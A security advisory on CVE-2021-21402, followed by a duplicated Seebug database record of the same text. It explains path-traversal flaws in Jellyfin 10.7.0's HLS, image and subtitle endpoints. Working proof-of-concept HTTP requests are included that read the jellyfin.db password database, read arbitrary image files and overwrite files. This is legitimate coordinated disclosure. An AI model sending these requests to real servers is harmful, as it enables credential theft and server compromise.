# GHSL-2021-050: Unauthenticated abritrary file read in Jellyfin - CVE-2021-21402
[Jaroslav Lobacevski](https://github.com/jarlob)
## Coordinated Disclosure Timeline
- 2021-03-19: Issue reported to maintainers.
- 2021-03-22: Version 10.7.1 with fixes was released.
## Summary
Jellyfin allows unauthenticated arbitrary file read.
## Product
Jellyfin
## Tested Version
The latest 10.7.0 and older
## Details
### Issue 1: Unauthenticated arbitrary file read in `/Audio/itemId/hls/segmentId/stream.mp3` and `/Audio/itemId/hls/segmentId/stream.aac`
Both the `/Audio/{Id}/hls/{segmentId}/stream.mp3` and `/Audio/{Id}/hls/{segmentId}/stream.aac` routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{segmentId}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with `.mp3` and `.aac` [2]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.
```
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
```
The following request for example would download the `jellyfin.db` database with passwords from the server:
```
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 2: Unauthenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer`
The `/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}` route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{SegmentId}.{SegmentContainer}` part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The `SegmentId` and file extension from `Path` are concatenated [2]. The resulting `file` is used as the second parameter to `Path.Combine` [3]. However, if the second parameter is an absolute path, the first parameter to `Path.Combine` is ignored and the resulting path is just the absolute path `file`.
A pre-requisite for the attack is that the `jellyfin/transcodes` directory contains at least one `.m3u8` file [4] (i.e. some user started streaming a video or it is left there since the last stream). The `itemId` doesn’t matter as it is not used and `PlaylistId` must be a substring of the `m3u8` file [5]. It can be just `m` as it is always in the `*.m3u8` file name.
```
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
```
PoC:
```
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 3: Authenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/stream.m3u8`
`/Videos/{Id}/hls/{PlaylistId}/stream.m3u8` allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with `.m3u8`[1]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn’t matter as it is not used.
```
[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)
{
var file = playlistId + Path.GetExtension(Request.Path); //[1]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return GetFileResult(file, file);
}
```
PoC:
```
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
```
#### Impact
This issue may lead to privilege elevation.
### Issue 4: Unauthenticated arbitrary image file read in `/Images/Ratings/theme/name`, `/Images/MediaInfo/theme/name` and `Images/General/name/type`
The `/Images/Ratings/{theme}/{name}`, `/Images/MediaInfo/{theme}/{name}` and `/Images/General/{name}/{type}` routes allow unauthenticated arbitrary *image* file read on Windows. It is possible to set the `{theme}`[1] or `{name}`[2] part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`.
```
[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
[FromRoute, Required] string theme,
[FromRoute, Required] string name)
{
return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
var themeFolder = Path.Combine(basePath, theme); //[1]
if (Directory.Exists(themeFolder))
{
var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
.FirstOrDefault(System.IO.File.Exists);
if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
{
var contentType = MimeTypes.GetMimeType(path);
return PhysicalFile(path, contentType);
}
}
```
PoCs to download `c:\temp\filename.jpg`:
```
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
```
#### Impact
This issue may lead to unauthorized access to image files especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).
### Issue 5: Authenticated arbitrary file overwrite in `/Videos/itemId/Subtitles` not limited to Windows
`Videos/{itemId}/Subtitles` allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.
PoC:
```
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}
```
#### Impact
This issue may lead to post-authenticated arbitrary remote code execution.
{"id": "SSV:99176", "type": "seebug", "bulletinFamily": "exploit", "title": "Jellyfin \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2021-21402\uff09", "description": "# GHSL-2021-050: Unauthenticated abritrary file read in Jellyfin - CVE-2021-21402\n\n[Jaroslav Lobacevski](https://github.com/jarlob)\n\n## Coordinated Disclosure Timeline\n\n- 2021-03-19: Issue reported to maintainers.\n- 2021-03-22: Version 10.7.1 with fixes was released.\n\n## Summary\n\nJellyfin allows unauthenticated arbitrary file read.\n\n## Product\n\nJellyfin\n\n## Tested Version\n\nThe latest 10.7.0 and older\n\n## Details\n\n### Issue 1: Unauthenticated arbitrary file read in `/Audio/itemId/hls/segmentId/stream.mp3` and `/Audio/itemId/hls/segmentId/stream.aac`\n\nBoth the `/Audio/{Id}/hls/{segmentId}/stream.mp3` and `/Audio/{Id}/hls/{segmentId}/stream.aac` routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{segmentId}` part of the route to a relative or absolute path using the Windows path separator `\\` (`%5C` when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with `.mp3` and `.aac` [2]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn\u2019t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.\n\n```\n// Can't require authentication just yet due to seeing some requests come from Chrome without full query string\n// [Authenticated] // [1]\n[HttpGet(\"Audio/{itemId}/hls/{segmentId}/stream.mp3\", Name = \"GetHlsAudioSegmentLegacyMp3\")]\n[HttpGet(\"Audio/{itemId}/hls/{segmentId}/stream.aac\", Name = \"GetHlsAudioSegmentLegacyAac\")]\n//...\npublic ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)\n{\n // TODO: Deprecate with new iOS app\n var file = segmentId + Path.GetExtension(Request.Path); //[2]\n file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);\n\n return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);\n}\n```\n\nThe following request for example would download the `jellyfin.db` database with passwords from the server:\n\n```\nGET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1\n```\n\n#### Impact\n\nThis issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).\n\n### Issue 2: Unauthenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer`\n\nThe `/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}` route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the `{SegmentId}.{SegmentContainer}` part of the route to a relative or absolute path using the Windows path separator `\\` (`%5C` when URL encoded). The `SegmentId` and file extension from `Path` are concatenated [2]. The resulting `file` is used as the second parameter to `Path.Combine` [3]. However, if the second parameter is an absolute path, the first parameter to `Path.Combine` is ignored and the resulting path is just the absolute path `file`.\n\nA pre-requisite for the attack is that the `jellyfin/transcodes` directory contains at least one `.m3u8` file [4] (i.e. some user started streaming a video or it is left there since the last stream). The `itemId` doesn\u2019t matter as it is not used and `PlaylistId` must be a substring of the `m3u8` file [5]. It can be just `m` as it is always in the `*.m3u8` file name.\n\n```\n// Can't require authentication just yet due to seeing some requests come from Chrome without full query string\n// [Authenticated] //[1]\n[HttpGet(\"Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}\")]\n//...\npublic ActionResult GetHlsVideoSegmentLegacy(\n [FromRoute, Required] string itemId,\n [FromRoute, Required] string playlistId,\n [FromRoute, Required] string segmentId,\n [FromRoute, Required] string segmentContainer)\n{\n var file = segmentId + Path.GetExtension(Request.Path); //[2]\n var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();\n\n file = Path.Combine(transcodeFolderPath, file); //[3]\n\n var normalizedPlaylistId = playlistId;\n\n var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);\n // Add . to start of segment container for future use.\n segmentContainer = segmentContainer.Insert(0, \".\");\n string? playlistPath = null;\n foreach (var path in filePaths)\n {\n var pathExtension = Path.GetExtension(path);\n if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)\n || string.Equals(pathExtension, \".m3u8\", StringComparison.OrdinalIgnoreCase)) //[4]\n && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]\n {\n playlistPath = path;\n break;\n }\n }\n\n return playlistPath == null\n ? NotFound(\"Hls segment not found.\")\n : GetFileResult(file, playlistPath);\n}\n```\n\nPoC:\n\n```\nGET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1\n```\n\n#### Impact\n\nThis issue may lead to unauthorized access to the system especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).\n\n### Issue 3: Authenticated arbitrary file read in `/Videos/Id/hls/PlaylistId/stream.m3u8`\n\n`/Videos/{Id}/hls/{PlaylistId}/stream.m3u8` allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with `.m3u8`[1]. However, by using a trailing slash in the URL path it is possible to make `Path.GetExtension(Request.Path)` return an empty extension, thus obtaining full control of the resulting file path. The `itemId` doesn\u2019t matter as it is not used.\n\n```\n[HttpGet(\"Videos/{itemId}/hls/{playlistId}/stream.m3u8\")]\n[Authorize(Policy = Policies.DefaultAuthorization)]\n//...\npublic ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)\n{\n var file = playlistId + Path.GetExtension(Request.Path); //[1]\n file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);\n\n return GetFileResult(file, file);\n}\n```\n\nPoC:\n\n```\nGET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1\n```\n\n#### Impact\n\nThis issue may lead to privilege elevation.\n\n### Issue 4: Unauthenticated arbitrary image file read in `/Images/Ratings/theme/name`, `/Images/MediaInfo/theme/name` and `Images/General/name/type`\n\nThe `/Images/Ratings/{theme}/{name}`, `/Images/MediaInfo/{theme}/{name}` and `/Images/General/{name}/{type}` routes allow unauthenticated arbitrary *image* file read on Windows. It is possible to set the `{theme}`[1] or `{name}`[2] part of the route to a relative or absolute path using the Windows path separator `\\` (`%5C` when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`.\n\n```\n[HttpGet(\"MediaInfo/{theme}/{name}\")]\n[AllowAnonymous]\n//...\npublic ActionResult GetMediaInfoImage(\n [FromRoute, Required] string theme,\n [FromRoute, Required] string name)\n{\n return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);\n}\n//...\nprivate ActionResult GetImageFile(string basePath, string theme, string? name)\n{\n var themeFolder = Path.Combine(basePath, theme); //[1]\n if (Directory.Exists(themeFolder))\n {\n var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]\n .FirstOrDefault(System.IO.File.Exists);\n\n if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))\n {\n var contentType = MimeTypes.GetMimeType(path);\n return PhysicalFile(path, contentType);\n }\n }\n```\n\nPoCs to download `c:\\temp\\filename.jpg`:\n\n```\nGET /Images/Ratings/c:%5ctemp/filename HTTP/1.1\nGET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1\n```\n\n#### Impact\n\nThis issue may lead to unauthorized access to image files especially when Jellyfin is [configured to be accessible from the Internet](https://jellyfin.org/docs/general/networking/index.html#running-jellyfin-behind-a-reverse-proxy).\n\n### Issue 5: Authenticated arbitrary file overwrite in `/Videos/itemId/Subtitles` not limited to Windows\n\n`Videos/{itemId}/Subtitles` allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.\n\nPoC:\n\n```\nPOST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1\n...\nX-Emby-Authorization: MediaBrowser DeviceId=\"...\", Version=\"10.7.0\", Token=\"...\"\n...\n\n{\"language\":\".\\\\..\\\\\",\"format\":\".\\\\..\\\\test.bin\",\"isForced\":false,\"data\":\"base64 encoded data\"}\n```\n\n#### Impact\n\nThis issue may lead to post-authenticated arbitrary remote code execution.", "published": "2021-04-02T00:00:00", "modified": "2021-04-02T00:00:00", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}, "href": "https://www.seebug.org/vuldb/ssvid-99176", "reporter": "Knownsec", "references": [], "cvelist": ["CVE-2021-21402"], "immutableFields": [], "lastseen": "2021-07-24T15:44:03", "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-21402"]}, {"type": "dsquare", "idList": ["E-726"]}, {"type": "githubexploit", "idList": ["11F37628-699D-5923-ADFD-BEC25F3FDA9E", "AF1D074D-495F-5872-9EA2-7443D7FFAC25", "B155D8FC-65C7-58BE-A3C8-9CB1B24153F1", "DB4C9B11-C20B-555B-91A4-64283D1E44FD"]}], "rev": 4}, "score": {"value": 5.4, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-21402"]}, {"type": "dsquare", "idList": ["E-726"]}, {"type": "githubexploit", "idList": ["11F37628-699D-5923-ADFD-BEC25F3FDA9E", "AF1D074D-495F-5872-9EA2-7443D7FFAC25", "B155D8FC-65C7-58BE-A3C8-9CB1B24153F1", "DB4C9B11-C20B-555B-91A4-64283D1E44FD"]}]}, "exploitation": null, "vulnersScore": 5.4}, "sourceHref": "", "sourceData": "", "status": "cve,details", "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646113726}}